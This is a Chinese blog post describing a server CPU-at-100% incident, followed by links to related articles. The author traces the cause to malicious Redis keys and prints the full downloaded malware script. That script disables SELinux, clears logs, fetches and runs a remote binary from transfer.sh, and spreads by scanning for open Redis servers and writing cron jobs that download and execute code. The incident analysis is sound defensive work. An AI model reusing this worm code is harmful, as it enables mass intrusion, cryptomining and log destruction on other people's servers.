1: top 查看

>top -c

此时 我们使用kill -9 15003, 杀掉这个进程短暂的CPU降低几秒, 然后死灰复燃了, 又一个进程占了CPU 99%

2: 查看15003 进程状态,

> cat /proc/15003/status

Pid  :当前进程ID

PPid:当前进程的父进程  此时执行2次杀进程

  1. kill -
  2.  
  3. kill -

如果还是不行,本博主也不知道,重启服务器...

第二天发现一个问题redis 出现了Backup 3个key,存了一个url  https://transfer.sh/W5hJO/tmp.p9ArkdNk6P

打开连接,下载了tmp.p9ArkNK6p文件, 使用Notepad++打开, 发现最新型的pnscan病毒

  1. sleep
  2. find . -maxdepth -name ".mxff0" -type f -mmin + -delete
  3. [ -f .mxff0 ] && exit
  4. echo > .mxff0
  5. trap "rm -rf .m* .cmd tmp.* .r .dat $0" EXIT
  6. setenforce >/dev/null
  7. echo SELINUX=disabled > /etc/sysconfig/selinux >/dev/null
  8. crontab -r >/dev/null
  9. rm -rf /var/spool/cron >/dev/null
  10. grep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.conf
  11. rm -rf /tmp/* 2>/dev/null
  12. rm -rf /var/tmp/* 2>/dev/null
  13. rm -rf /etc/root.sh 2>/dev/null
  14. sync && echo 3 > /proc/sys/vm/drop_caches
  15. cat <<EOF> /etc/security/limits.conf
  16. * hard nofile 100000
  17. * soft nofile 100000
  18. root hard nofile 100000
  19. root soft nofile 100000
  20. * hard nproc 100000
  21. * soft nproc 100000
  22. root hard nproc 100000
  23. root soft nproc 100000
  24. EOF
  25. iptables -I INPUT 1 -p tcp --dport 6379 -j DROP
  26. iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
  27. ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init" | while read pid _; do kill -9 "$pid"; done
  28. rm -rf /tmp/* 2>/dev/null
  29. rm -rf /var/tmp/* 2>/dev/null
  30. echo 0 > /var/spool/mail/root
  31. echo 0 > /var/log/wtmp
  32. echo 0 > /var/log/secure
  33. echo 0 > /root/.bash_history
  34. YUM_PACKAGE_NAME="iptables gcc redis coreutils bash curl wget"
  35. DEB_PACKAGE_NAME="coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl"
  36. if cat /etc/*release | grep -i CentOS; then
  37. yum clean all
  38. yum install -y -q epel-release
  39. yum install -y -q $YUM_PACKAGE_NAME
  40. elif cat /etc/*release | grep -qi Red; then
  41. yum clean all
  42. yum install -y -q epel-release
  43. yum install -y -q $YUM_PACKAGE_NAME
  44. elif cat /etc/*release | grep -qi Fedora; then
  45. yum clean all
  46. yum install -y -q epel-release
  47. yum install -y -q $YUM_PACKAGE_NAME
  48. elif cat /etc/*release | grep -qi Ubuntu; then
  49. export DEBIAN_FRONTEND=noninteractive
  50. rm -rf /var/lib/apt/lists/*
  51. apt-get update -q --fix-missing
  52. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
  53. elif cat /etc/*release | grep -qi Debian; then
  54. export DEBIAN_FRONTEND=noninteractive
  55. rm -rf /var/lib/apt/lists/*
  56. apt-get update --fix-missing
  57. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
  58. elif cat /etc/*release | grep -qi Mint; then
  59. export DEBIAN_FRONTEND=noninteractive
  60. rm -rf /var/lib/apt/lists/*
  61. apt-get update --fix-missing
  62. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
  63. elif cat /etc/*release | grep -qi Knoppix; then
  64. export DEBIAN_FRONTEND=noninteractive
  65. rm -rf /var/lib/apt/lists/*
  66. apt-get update --fix-missing
  67. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
  68. else
  69. exit 1
  70. fi
  71. sleep 1
  72. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
  73. curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12
  74. sleep 1
  75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
  76. fi
  77. tname=$( mktemp )
  78. OMURL=https://transfer.sh/HlrkQ/tmp.gIMakllioJ
  79. curl -s $OMURL > $tname || wget -q -O $tname $OMURL
  80. NMURL=$( curl -s --upload-file $tname https://transfer.sh )
  81. mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg
  82. [ -z "$NMURL" ] && NMURL=$OMURL
  83. ncmd=$(basename $(mktemp))
  84. sed 's|'"$OMURL"'|'"$NMURL"'|g' < .cmd > $ncmd
  85. NSURL=$( curl -s --upload-file $ncmd https://transfer.sh )
  86. echo 'flushall' > .dat
  87. echo 'config set dir /var/spool/cron' >> .dat
  88. echo 'config set dbfilename root' >> .dat
  89. echo 'set Backup1 "\t\n*/ * * * * curl -s '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat
  90. echo 'set Backup2 "\t\n*/5 * * * * wget -O .cmd '${NSURL}' && bash .cmd\n\t"' >> .dat
  91. echo 'set Backup3 "\t\n*/10 * * * * lynx -source '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat
  92. echo 'save' >> .dat
  93. echo 'config set dir /var/spool/cron/crontabs' >> .dat
  94. echo 'save' >> .dat
  95. echo 'exit' >> .dat
  96. pnx=pnscan
  97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
  98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
  99. for x in $( seq | sort -R ); do
  100. for y in $( seq | sort -R ); do
  101. $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/ > .r.$x.$y.o
  102. awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l
  103. while read -r h p; do
  104. cat .dat | redis-cli -h $h -p $p --raw &
  105. done < .r.$x.$y.l
  106. done
  107. done
  108. echo > /var/spool/mail/root >/dev/null
  109. echo > /var/log/wtmp >/dev/null
  110. echo > /var/log/secure >/dev/null
  111. echo > /root/.bash_history >/dev/null
  112. exit

Linux CPU 100%, kill -9 杀不掉进程的更多相关文章

  1. Linux---使用kill杀不掉进程解决方案

    今天打开Linux虚拟机,然后使用jps命令查看,莫名奇妙多了一个1889进程 然后使用kill杀掉后,再运行jps还是存在此进程.于是乎开始大量百度,最终找到了解决方案. 说的很清楚了,杀不掉的原因 ...

  2. PostgreSQL 不要使用kill -9 杀 Postgresq 用户进程

    转载:http://francs3.blog.163.com/blog/static/4057672720109854858308/ Postgresql 8.3.3 今天应用反映数据库很慢,有些SQ ...

  3. linux cpu 100% 脚本

    for i in `seq 1 $(cat /proc/cpuinfo |grep "physical id" |wc -l)`; do dd if=/dev/zero of=/d ...

  4. Linux系统cpu 100%修复案例

    Linux系统cpu 100%修复案例 ​阿里云技术支持团队:完颜镇江 案例背景: Linux主机连续三天CPU% 处理思路: 1.  登录服务器查看/var/log/messages+/var/lo ...

  5. ora-00031:session marked for kill处理oracle中杀不掉的锁

    http://www.cnblogs.com/songdavid/articles/2223869.html 一些ORACLE中的进程被杀掉后,状态被置为"killed",但是锁定 ...

  6. 【转】ora-00031:session marked for kill处理oracle中杀不掉的锁

    一些ORACLE中的进程被杀掉后,状态被置为"killed",但是锁定的资源很长时间不释放,有时实在没办法,只好重启数据库.现在提供一种方法解决这种问题,那就是在ORACLE中杀不 ...

  7. ORA-00031: session marked for kill 处理Oracle中杀不掉的锁

    一些ORACLE中的进程被杀掉后,状态被置为"killed",但是锁定的资源很长时间不释放,有时实在没办法,只好重启数据库.现在提供一种方法解决这种问题,那就是在ORACLE中杀不 ...

  8. session marked for kill处理oracle中杀不掉的锁

    ora-00031:session marked for kill处理oracle中杀不掉的锁   一些ORACLE中的进程被杀掉后,状态被置为"killed",但是锁定的资源很长 ...

  9. 如何查找僵尸进程并Kill之,杀不掉的要查看父进程并杀之

    转自:如何查找僵尸进程并Kill之,杀不掉的要查看父进程并杀之 用ps和grep命令寻找僵尸进程#ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]'命令注解:-A ...

随机推荐

  1. UVA-1613 K-Graph Oddity (着色问题)

    题目大意:一张n个顶点.m条边的无向连通图,用k种颜色着色(相邻顶点颜色不能相同),其中k为不小于点的最大度数的最小奇数. 题目分析:水题一道.建张图深搜一下就行了. # include<ios ...

  2. 使用POI导入小数变成浮点数异常

    例如   我在Excel中的数据为17.2, 导入到表中就变成了17.1999999或者17.20000001 原因是我用double接收了17.2,然后直接用了String去转换,精度就丢失了. 代 ...

  3. java并发编程:线程安全管理类--原子操作类--AtomicBoolean

    1.类AtomicBoolean

  4. Sizzle源码分析:二 词法分析

    上一篇我们了解了Sizzle的整体流程,下面我开始一点点分析各个流程,我们进行查询的第一步就是词法分析tokenize,同样先了解下思路,如果是#div_test > span input[ch ...

  5. 如何在JavaScript中手动创建类数组对象

    前言 关于什么是js的类数组对象这里不再赘述.可以参考这个链接,还有这里. js中类数组对象很多,概念简单的讲就是看上去像数组,又不是数组,可以使用数字下标方式访问又没有数组方法. 例: argume ...

  6. eclipes常用快捷键

    Eclipes快捷键 alt + / 代码补全,自动提示 ctrl + o 显示类中的方法属性,再按一次ctrl + o,显示更多的变量 ctrl + d 删除当前行 ctrl + / 单行注释或者选 ...

  7. L185 Ocean Shock

    This is part of "Ocean Shock," a Reuters series exploring climate change's impact on sea c ...

  8. New Concept English Two 16 40

    Keynote Speech  are useful. $课文38  唯独没有考虑到天气 388. My old friend, Harrison, had lived in the Mediterr ...

  9. jinja 2 filter 使用

    文档地址 http://jinja.pocoo.org/docs/templates/#builtin-filters indent indent(s, width=4, indentfirst=Fa ...

  10. CIE-LUV是什么颜色特征

    参考文献:维基百科 a simple-to-compute transformation of the 1931 CIE XYZ color space, but which attempted pe ...